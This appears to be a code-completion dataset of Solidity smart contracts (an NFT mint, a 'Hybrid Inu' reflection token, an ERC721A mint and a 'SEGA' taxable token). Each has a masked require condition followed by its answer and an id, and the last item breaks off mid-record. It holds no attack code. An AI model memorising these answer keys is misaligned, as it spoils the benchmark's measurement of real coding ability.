// .......',,'.........',,'...,;:;,.....',::;,'.... ........................'............'',,,'............
// ..';;;,.....'''......',,,'....,,,'.........''.... ..... ...............',,'...........'',,,,'',,,'.'''..
// ...'','',,;::;,'.'',;;,'..',,,,;;;;,,'',,,,,,;,'....''''...'''................... ..'''........ ......',',,;;,''''''''......
// ...',,,'...........',,''.........',,,'......''..........'..'''............. ...............'.......
// ... . .......... ....... ......... . ........
// .,;. .:xdc. ':;. .';loddoc;.. .;clc:clo:. ..;coddoc;'. .';. .:;. .;llc::;;'.
// .cl,. .cOKOc. ;dl'. .,lddc.. .:dd;. .,coo,. .':odl,. .:l,. ;ol,. .coc,....
// .cl,. ,lodoc'.,lc' .:lc,. .:ol,. .;l:'. .,cl;. .:ol;''',lxl. .col:,'...
// .:c,. ;c,.;l:,:c;.. .;lc,. .co:. 'c:,. .,cc;. .:ddlc::cdkl. .cddlc::;..
// .cl,. .:l,..'cdxd:. .:ll;. .;oo:. .:o:'. .,cl;. .:l;. .;dl' .co:'....
// .cl,. .:o;. 'lOOl. .:ol;. .;odc,.':odc'. .,cl;. .:l, ,ol'. .col:'.....
// ''. .'. .;c, .,'. .;cccccc,. .''. .'. .,'. ';:::;;;,.
// .... . .
// .'.. ..'.. .':loool:'. .''. .''. .,:ccc::;;::cc::'.
// .okd;. ,dko, .cxkkxdodxkOxc,. ,xkc. 'lxx; .ldxxxk0KK0kxxxo:.
// 'x0x:. ;k0x;. .:x0Ol'.....,lk00k:. ;OKo. ,oOO: ....'cOK0d;.....
// 'dOx:. ;kOd; .;O0o' .'lxdc. ;O0l. 'lkk: 'x0kc.
// 'dOx:. ;xOd; .;d0x, .... ;OKo'. .,oOk: 'x0kc.
// 'dOd:. ;kOd; .lOOo. .,:ccc::;'. ,OX0xolloooookO0k; 'x0kc.
// 'dOx:. ;xOd;. .lOOo. 'cdxdxO00x:. ;OXOoc::::::cdO0k; 'x0kc.
// 'dOd:. ;xOd; .;x0x, ....,d0K0o' ;O0l'. .,okk: 'x0kc.
// 'dOd;. ;kOd; .:O0o' .;kKXOc. ;O0l. 'lkk: 'xKkc.
// 'x0Oo;........ ;k0x;. .cxOkl'. ..;ok0KKkc. ;OKo' ,oOO: ,kX0l.
// .lk0Okddddxxoc'. ,dko, 'cxkkdlloxxocccll:' ,xkc. 'lxx; 'dOxc.
// .';::::::::;,. .''.. .,:cccc:;. .... .',. .''. .,'.
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Spectrum is ERC721, Ownable {
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnabled;
string internal baseTokenUri;
string public hiddenMetadataUri;
mapping(address => uint256) public WalletMints;
bool public isRevealed;
string public SPCTRM_PROVENANCE;
constructor() payable ERC721('Spectrum', 'SPCTRM') {
}
function setProvenance(string memory newProvenance) external onlyOwner{
}
function setIsPublicMintEnabled(bool isPublicMintEnabled_) external onlyOwner {
}
function reveal() external onlyOwner {
}
function setHiddenMetadataUri(string memory hiddenMetadataUri_) public onlyOwner {
}
function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
string private customContractURI = "https://orion.mypinata.cloud/ipfs/QmPzxrmCfn3iEAZXqzABRgiF98aZuD7xLDVfbp3F4uCEmZ";
function setContractURI(string memory customContractURI_) external onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function withdraw() external onlyOwner {
}
function mint(uint256 quantity_) public payable {
require(isPublicMintEnabled, 'minting not enabled');
require(msg.value >= quantity_ * mintPrice, 'wrong mint value');
require(totalSupply + quantity_ <= maxSupply, 'sold out');
require(<FILL_ME>)
for(uint256 i = 0; i < quantity_; i++) {
uint256 newTokenId = totalSupply + 1;
WalletMints[msg.sender]++;
totalSupply++;
_safeMint(msg.sender,newTokenId);
}
}
}
| WalletMints[msg.sender]+quantity_<=maxPerWallet,'exceed max wallet' | 72,349 | WalletMints[msg.sender]+quantity_<=maxPerWallet |
"already excluded" | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
bool isTradingEnabled;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Hybrid Inu";
string private _symbol = "$HINU";
uint8 private _decimals = 18;
struct BuyFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct SellFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct TransferFee {
uint16 marketingFee;
uint16 reflectionFee;
}
BuyFee public buyFee;
SellFee public sellFee;
TransferFee public transferFee;
uint16 private _reflectionFee;
uint16 private _marketingFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public marketingWallet;
address public constant deadWallet = address(0xdead);
bool internal inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private swapTokensAtAmount = 1000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
modifier lockTheSwap() {
}
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
///@notice Returns if a address is exlcluded from rewards or not
function isExcludedFromReward(address account) public view returns (bool) {
}
///@notice Returns total fees reflected till date
function totalFees() public view returns (uint256) {
}
function deliver(uint256 tAmount) public {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
}
///@dev exclude a particular address from reward
///@param account: address to be excluded from reward
function excludeFromReward(address account) public onlyOwner {
}
///@dev include a address in reward
///@param account: address to be added in reward mapping again
function includeInReward (address account) external onlyOwner {
}
///@dev exclude a address from fees/limits
///@param account - address or wallet to be excluded
function excludeFromFee(address account) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromFee[account] = true;
}
///@dev include a address in fees if it's excluded
///@param account - wallet or account address to include in fee
function includeInFee(address account) external onlyOwner {
}
///@dev set buy fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total buy fees must be less than equal to 5 percent.
function setBuyFee( uint16 marketing, uint16 ref) external onlyOwner {
}
///@dev set sell fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total sell fees must be less than equal to 5 percent.
function setSellFee(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev set transfer fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total transfer fees must be less than equal to 5 percent.
function setTransferFees(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev update the marketing wallet
///@param wallet -- new wallet for marketing to receive eth
///Requirements --
/// zero address is not allowed
function updateMarketingWallet (address wallet) external onlyOwner {
}
///@dev set minimum threshold after which collected fees will be swapped for eth
///@param numTokens - number of tokens
function setSwapTokensAtAmount(uint256 numTokens)
external
onlyOwner
{
}
///@dev enabled or disable marketing fees to eth conversion
///@param _enabled - bool value, true means tokens get swapped for eth, else not
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
}
///@notice owner can claim stucked erc20 token from smartcontract
///@param _token - address of token to be rescued
function claimStuckTokens(address _token) external onlyOwner {
}
///@notice owner can claim any stucked ether from smartcontract
function claimETH() external onlyOwner {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tMarketing,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeMarketing(uint256 tMarketing) private {
}
///@notice owner enable the trading, once enabled it can never be turned off
function enableTrading () external onlyOwner {
}
function calculateReflectionFee(uint256 _amount) private view returns (uint256) {
}
function calculateMarketingFee(uint256 _amount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function setBuy() private {
}
function setSell() private {
}
function setTransfer() private {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
}
| !_isExcludedFromFee[account],"already excluded" | 72,367 | !_isExcludedFromFee[account] |
"already included" | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
bool isTradingEnabled;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Hybrid Inu";
string private _symbol = "$HINU";
uint8 private _decimals = 18;
struct BuyFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct SellFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct TransferFee {
uint16 marketingFee;
uint16 reflectionFee;
}
BuyFee public buyFee;
SellFee public sellFee;
TransferFee public transferFee;
uint16 private _reflectionFee;
uint16 private _marketingFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public marketingWallet;
address public constant deadWallet = address(0xdead);
bool internal inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private swapTokensAtAmount = 1000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
modifier lockTheSwap() {
}
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
///@notice Returns if a address is exlcluded from rewards or not
function isExcludedFromReward(address account) public view returns (bool) {
}
///@notice Returns total fees reflected till date
function totalFees() public view returns (uint256) {
}
function deliver(uint256 tAmount) public {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
}
///@dev exclude a particular address from reward
///@param account: address to be excluded from reward
function excludeFromReward(address account) public onlyOwner {
}
///@dev include a address in reward
///@param account: address to be added in reward mapping again
function includeInReward (address account) external onlyOwner {
}
///@dev exclude a address from fees/limits
///@param account - address or wallet to be excluded
function excludeFromFee(address account) external onlyOwner {
}
///@dev include a address in fees if it's excluded
///@param account - wallet or account address to include in fee
function includeInFee(address account) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromFee[account] = false;
}
///@dev set buy fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total buy fees must be less than equal to 5 percent.
function setBuyFee( uint16 marketing, uint16 ref) external onlyOwner {
}
///@dev set sell fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total sell fees must be less than equal to 5 percent.
function setSellFee(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev set transfer fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total transfer fees must be less than equal to 5 percent.
function setTransferFees(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev update the marketing wallet
///@param wallet -- new wallet for marketing to receive eth
///Requirements --
/// zero address is not allowed
function updateMarketingWallet (address wallet) external onlyOwner {
}
///@dev set minimum threshold after which collected fees will be swapped for eth
///@param numTokens - number of tokens
function setSwapTokensAtAmount(uint256 numTokens)
external
onlyOwner
{
}
///@dev enabled or disable marketing fees to eth conversion
///@param _enabled - bool value, true means tokens get swapped for eth, else not
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
}
///@notice owner can claim stucked erc20 token from smartcontract
///@param _token - address of token to be rescued
function claimStuckTokens(address _token) external onlyOwner {
}
///@notice owner can claim any stucked ether from smartcontract
function claimETH() external onlyOwner {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tMarketing,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeMarketing(uint256 tMarketing) private {
}
///@notice owner enable the trading, once enabled it can never be turned off
function enableTrading () external onlyOwner {
}
function calculateReflectionFee(uint256 _amount) private view returns (uint256) {
}
function calculateMarketingFee(uint256 _amount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function setBuy() private {
}
function setSell() private {
}
function setTransfer() private {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
}
| _isExcludedFromFee[account],"already included" | 72,367 | _isExcludedFromFee[account] |
"already enabled" | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
bool isTradingEnabled;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Hybrid Inu";
string private _symbol = "$HINU";
uint8 private _decimals = 18;
struct BuyFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct SellFee {
uint16 marketingFee;
uint16 reflectionFee;
}
struct TransferFee {
uint16 marketingFee;
uint16 reflectionFee;
}
BuyFee public buyFee;
SellFee public sellFee;
TransferFee public transferFee;
uint16 private _reflectionFee;
uint16 private _marketingFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public marketingWallet;
address public constant deadWallet = address(0xdead);
bool internal inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private swapTokensAtAmount = 1000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
modifier lockTheSwap() {
}
constructor() {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
///@notice Returns if a address is exlcluded from rewards or not
function isExcludedFromReward(address account) public view returns (bool) {
}
///@notice Returns total fees reflected till date
function totalFees() public view returns (uint256) {
}
function deliver(uint256 tAmount) public {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
}
///@dev exclude a particular address from reward
///@param account: address to be excluded from reward
function excludeFromReward(address account) public onlyOwner {
}
///@dev include a address in reward
///@param account: address to be added in reward mapping again
function includeInReward (address account) external onlyOwner {
}
///@dev exclude a address from fees/limits
///@param account - address or wallet to be excluded
function excludeFromFee(address account) external onlyOwner {
}
///@dev include a address in fees if it's excluded
///@param account - wallet or account address to include in fee
function includeInFee(address account) external onlyOwner {
}
///@dev set buy fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total buy fees must be less than equal to 5 percent.
function setBuyFee( uint16 marketing, uint16 ref) external onlyOwner {
}
///@dev set sell fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total sell fees must be less than equal to 5 percent.
function setSellFee(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev set transfer fees
///@param marketing - set marketing fees
///@param ref - set reflection fees
///Requirements --
/// total transfer fees must be less than equal to 5 percent.
function setTransferFees(
uint16 marketing,
uint16 ref
) external onlyOwner {
}
///@dev update the marketing wallet
///@param wallet -- new wallet for marketing to receive eth
///Requirements --
/// zero address is not allowed
function updateMarketingWallet (address wallet) external onlyOwner {
}
///@dev set minimum threshold after which collected fees will be swapped for eth
///@param numTokens - number of tokens
function setSwapTokensAtAmount(uint256 numTokens)
external
onlyOwner
{
}
///@dev enabled or disable marketing fees to eth conversion
///@param _enabled - bool value, true means tokens get swapped for eth, else not
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
}
///@notice owner can claim stucked erc20 token from smartcontract
///@param _token - address of token to be rescued
function claimStuckTokens(address _token) external onlyOwner {
}
///@notice owner can claim any stucked ether from smartcontract
function claimETH() external onlyOwner {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tMarketing,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeMarketing(uint256 tMarketing) private {
}
///@notice owner enable the trading, once enabled it can never be turned off
function enableTrading () external onlyOwner {
require(<FILL_ME>)
isTradingEnabled = true;
}
function calculateReflectionFee(uint256 _amount) private view returns (uint256) {
}
function calculateMarketingFee(uint256 _amount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function setBuy() private {
}
function setSell() private {
}
function setTransfer() private {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
}
| !isTradingEnabled,"already enabled" | 72,367 | !isTradingEnabled |
"Sold out!" | pragma solidity ^0.8.0;
contract Contract is ERC721A, Ownable, ReentrancyGuard {
uint256 public constant maxSupply = 2;
uint256 public maxBuyPerTx = 1;
uint private _price = 0.00001 ether;
bool private _paused;
string private _baseTokenURI;
constructor(string memory name, string memory symbol, string memory notRevealedName) ERC721A(name, symbol, notRevealedName) {
}
function setPrice(uint256 price) external onlyOwner() {
}
function setRevealed(bool revealed) external onlyOwner() {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setPaused(bool paused) external onlyOwner {
}
function mint(uint256 mintAmount) external payable mintCompliance(mintAmount) {
}
modifier mintCompliance(uint256 mintAmount) {
require(mintAmount > 0 && mintAmount <= maxBuyPerTx, "Invalid buy amount");
require(<FILL_ME>)
_;
}
function devMint(uint256 mintAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function getPrice() view public returns (uint256) {
}
function getRevealed() view public returns (bool) {
}
}
| totalSupply()+mintAmount<=maxSupply,"Sold out!" | 72,368 | totalSupply()+mintAmount<=maxSupply |
"Not enough balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../libraries/ERC20Base.sol";
import "../libraries/ERC20Burnable.sol";
import "../libraries/TaxableToken.sol";
/**
* @dev ERC20Token implementation with Burn, Tax capabilities
*/
contract SEGAToken is ERC20Base, ERC20Burnable, Ownable, TaxableToken {
constructor(
uint256 initialSupply_,
address feeReceiver_,
address swapRouter_,
FeeConfiguration memory feeConfiguration_,
address[] memory collectors_,
uint256[] memory shares_
)
payable
ERC20Base("SEGA", "SEGA", 18, 0x312f313638373936322f4f2f422f54)
TaxableToken(true, initialSupply_ / 10000, swapRouter_, feeConfiguration_)
TaxDistributor(collectors_, shares_)
{
}
/**
* @dev Destroys `amount` tokens from the caller.
* only callable by `owner()`
*/
function burn(uint256 amount) external override onlyOwner {
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
* only callable by `owner()`
*/
function burnFrom(address account, uint256 amount) external override onlyOwner {
}
/**
* @dev Enable/Disable autoProcessFees on transfer
* only callable by `owner()`
*/
function setAutoprocessFees(bool autoProcess) external override onlyOwner {
}
/**
* @dev add a fee collector
* only callable by `owner()`
*/
function addFeeCollector(address account, uint256 share) external override onlyOwner {
}
/**
* @dev add/remove a LP
* only callable by `owner()`
*/
function setIsLpPool(address pairAddress, bool isLp) external override onlyOwner {
}
/**
* @dev add/remove an address to the tax exclusion list
* only callable by `owner()`
*/
function setIsExcludedFromFees(address account, bool excluded) external override onlyOwner {
}
/**
* @dev manually distribute fees to collectors
* only callable by `owner()`
*/
function distributeFees(uint256 amount, bool inToken) external override onlyOwner {
if (inToken) {
require(<FILL_ME>)
} else {
require(address(this).balance >= amount, "Not enough balance");
}
_distributeFees(amount, inToken);
}
/**
* @dev process fees
* only callable by `owner()`
*/
function processFees(uint256 amount, uint256 minAmountOut) external override onlyOwner {
}
/**
* @dev remove a fee collector
